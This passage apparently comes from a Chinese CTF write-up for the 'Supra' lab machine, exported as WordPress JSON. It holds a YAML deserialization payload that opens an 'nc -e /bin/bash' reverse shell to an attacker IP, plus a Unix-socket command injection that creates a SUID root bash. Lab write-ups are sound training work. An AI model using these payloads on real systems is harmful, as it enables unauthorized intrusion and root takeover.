kali kali    457 Aug  9 02:43 exp.py\n-rwxr-xr-x   1 kali kali    396 Aug  9 01:12 exp.sh\n-rwxr-xr-x   1 kali kali   3806 Aug  9 02:50 peas.py\n-rw-r--r--   1 kali kali 593134 Aug  9 01:22 result.txt\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ cat badcode_yaml                  \n!!python\/object\/apply:subprocess.Popen\n- !!python\/tuple\n  - nc\n  - -e\n  - \/bin\/bash\n  - 192.168.10.104\n  - &#039;2345&#039;<\/code><\/pre>\n<p>\u5148\u8fdb\u884c\u7aef\u53e3\u8f6c\u53d1\uff0c\u4f7f\u5916\u8fb9\u53ef\u4ee5\u8bbf\u95ee\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@Supra:\/opt\/api$ socat TCP-LISTEN:8082,fork TCP:127.0.0.1:8081 &amp;\n[1] 1157<\/code><\/pre>\n<p>\u7136\u540e\u5c1d\u8bd5\u5bfc\u5165\u8fdb\u884c\u8bbf\u95ee\uff1a<\/p>\n<pre><code class=\"language-bash\"># http:\/\/192.168.10.103:8082\/read-leaked-accounts\nInternal Server Error\nThe server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537907.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537907.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240809150620845\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>socket.s\u63d0\u6743root<\/h3>\n<p>\u5c1d\u8bd5\u4e0a\u4f20<code>linpeas.sh<\/code>\u8fdb\u884c\u63a2\u6d4b\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) it404@Supra:\/tmp$ wget http:\/\/192.168.10.104:8888\/linpeas.sh\n(remote) it404@Supra:\/tmp$ chmod +x linpeas.sh\n(remote) it404@Supra:\/tmp$ .\/linpeas.sh<\/code><\/pre>\n<p>\u53d1\u73b0\u4e86\uff1a<\/p>\n<pre><code class=\"language-bash\">\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 SGID\n\u255a https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation#sudo-and-suid\n-rwxr-sr-x 1 root shadow 38K Jul  9  2021 \/usr\/sbin\/unix_chkpwd\n-rwxr-sr-x 1 root mail 23K Feb  4  2021 \/usr\/bin\/dotlockfile\n-rwxr-sr-x 1 root crontab 43K Feb 22  2021 \/usr\/bin\/crontab\n-rwxr-sr-x 1 root tty 35K Jul 28  2021 \/usr\/bin\/wall\n-rwxr-sr-x 1 root root 15K Nov 19  2020 \/usr\/bin\/dotlock.mailutils\n-rwxr-sr-x 1 root shadow 31K Feb  7  2020 \/usr\/bin\/expiry\n-rwxr-sr-x 1 root tty 23K Jul 28  2021 \/usr\/bin\/write.ul (Unknown SGID binary)\n-rwxr-sr-x 1 root shadow 79K Feb  7  2020 \/usr\/bin\/chage\n-rwxr-sr-x 1 root ssh 347K Mar 13  2021 \/usr\/bin\/ssh-agent\n\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Files with ACLs (limited to 50)\n\u255a https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation#acls\n# file: \/home\/\/it404\/local.txt\nUSER   root      rw-     \nuser   it404     r--     \nGROUP  root      ---     \nmask             r--     \nother            ---     \n\n# file: \/usr\/local\/src\/socket.s\nUSER   root      rwx     \nuser   it404     rwx     \nGROUP  root      r-x     \nmask             rwx     \nother            r-x<\/code><\/pre>\n<p>\u53d1\u73b0\u5b58\u5728socket\u7684suid\uff0c\u5c1d\u8bd5\u770b\u4e00\u4e0b\u662f\u5426\u53ef\u4ee5\u8fdb\u884c\u63d0\u6743\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537908.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537908.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240809153515978\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u8fdb\u884c\u63d0\u6743\uff1a<a href=\"https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation\/socket-command-injection\">https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation\/socket-command-injection<\/a><\/p>\n<pre><code class=\"language-bash\">(remote) it404@Supra:\/tmp$ netstat -a -p --unix | grep socket\n(Not all processes could be identified, non-owned process info\n will not be shown, you would have to be root to see it all.)\nActive UNIX domain sockets (servers and established)\nunix  2      [ ACC ]     STREAM     LISTENING     11938    -                    \/usr\/local\/src\/socket.s\nunix  6      [ ]         DGRAM                    10633    -                    \/run\/systemd\/journal\/socket\nunix  2      [ ACC ]     STREAM     LISTENING     11417    -                    \/run\/dbus\/system_bus_socket\nunix  3      [ ]         STREAM     CONNECTED     11668    -                    \/run\/dbus\/system_bus_socket\nunix  3      [ ]         STREAM     CONNECTED     11651    -                    \/run\/dbus\/system_bus_socket\nunix  3      [ ]         STREAM     CONNECTED     11652    -                    \/run\/dbus\/system_bus_socket\nunix  3      [ ]         STREAM     CONNECTED     11653    -                    \/run\/dbus\/system_bus_socket\n(remote) it404@Supra:\/tmp$ echo &quot;cp \/bin\/bash \/tmp\/bash; chmod +s \/tmp\/bash; chmod +x \/tmp\/bash;&quot; | socat - UNIX-CLIENT:\/usr\/local\/src\/socket.s\n(remote) it404@Supra:\/tmp$ ls -la \/bin\/bash\n-rwxr-xr-x 1 root root 1234376 Aug  4  2021 \/bin\/bash\n(remote) it404@Supra:\/tmp$ ls -la \/tmp\/bash\n-rwsr-sr-x 1 root root 1234376 Aug  9 03:36 \/tmp\/bash\n(remote) it404@Supra:\/tmp$ \/tmp\/bash -p\n(remote) root@Supra:\/tmp# cd ~\n(remote) root@Supra:\/home\/it404# cd \/root\n(remote) root@Supra:\/root# ls -la\ntotal 40\ndrwx------  6 root root 4096 Oct 12  2021 .\ndrwxr-xr-x 18 root root 4096 Oct  6  2021 ..\n-rw-------  1 root root  475 Oct 12  2021 .bash_history\n-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc\ndrwxr-xr-x  3 root root 4096 Oct 11  2021 .cache\ndrwxr-xr-x  3 root root 4096 Oct 10  2021 .local\ndrwxr-xr-x  3 root root 4096 Oct  6  2021 .npm\n-rw-r--r--  1 root root  161 Jul  9  2019 .profile\n-rw-------  1 root root   32 Oct 12  2021 proof.txt\ndrwxr-xr-x  2 root root 4096 Oct 12  2021 .s\n(remote) root@Supra:\/root# cd .s\n(remote) root@Supra:\/root\/.s# ls -la\ntotal 16\ndrwxr-xr-x 2 root root 4096 Oct 12  2021 .\ndrwx------ 6 root root 4096 Oct 12  2021 ..\n-rw-r--r-- 1 root root  495 Oct 12  2021 socket-root.py\n-rw-r--r-- 1 root root   35 Oct 12  2021 starts.sh\n(remote) root@Supra:\/root\/.s# cat socket-root.py \nimport socket\nimport os, os.path\nimport time\nfrom collections import deque    \n\nif os.path.exists(&quot;\/usr\/local\/src\/socket.s&quot;):\n  os.remove(&quot;\/usr\/local\/src\/socket.s&quot;)    \n\nserver = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\nserver.bind(&quot;\/usr\/local\/src\/socket.s&quot;)\nos.system(&quot;setfacl -m u:it404:rwx \/usr\/local\/src\/socket.s&quot;)\nwhile True:\n  server.listen(1)\n  conn, addr = server.accept()\n  datagram = conn.recv(1024)\n  if datagram:\n    print(datagram)\n    os.system(datagram)\n    conn.close()\n(remote) root@Supra:\/root\/.s# cat starts.sh \n#!\/bin\/bash\npython3 socket-root.py<\/code><\/pre>\n<p>\u62ff\u5230root\uff01<\/p>\n<h2>\u989d\u5916\u6536\u83b7<\/h2>\n<h3>\u63a2\u6d4bfacl\u6587\u4ef6\u7684\u65b9\u6cd5<\/h3>\n<pre><code class=\"language-bash\">getfacl -t -s -R -p \/bin \/etc \/home \/opt \/root \/sbin \/usr \/tmp 2&gt;\/dev\/null\n\n# file: \/home\/it404\/local.txt\nUSER   root      rw-     \nuser   it404     r--     \nGROUP  root      ---     \nmask             r--     \nother            ---     \n\n# file: \/usr\/local\/src\/socket.s\nUSER   root      rwx     \nuser   it404     rwx     \nGROUP  root      r-x     \nmask             rwx     \nother            r-x<\/code><\/pre>\n<h2>\u53c2\u8003<\/h2>\n<p><a href=\"https:\/\/www.bilibili.com\/video\/BV18t421w72D\/\">https:\/\/www.bilibili.com\/video\/BV18t421w72D\/<\/a><\/p>\n<p><a href=\"https:\/\/al1enum.github.io\/docs\/Supra.pdf\">https:\/\/al1enum.github.io\/docs\/Supra.pdf<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Supra \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra] \u2514\u2500$ rusts [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-777","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/777","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=777"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/777\/revisions"}],"predecessor-version":[{"id":778,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/777\/revisions\/778"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=777"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=777"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=777"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}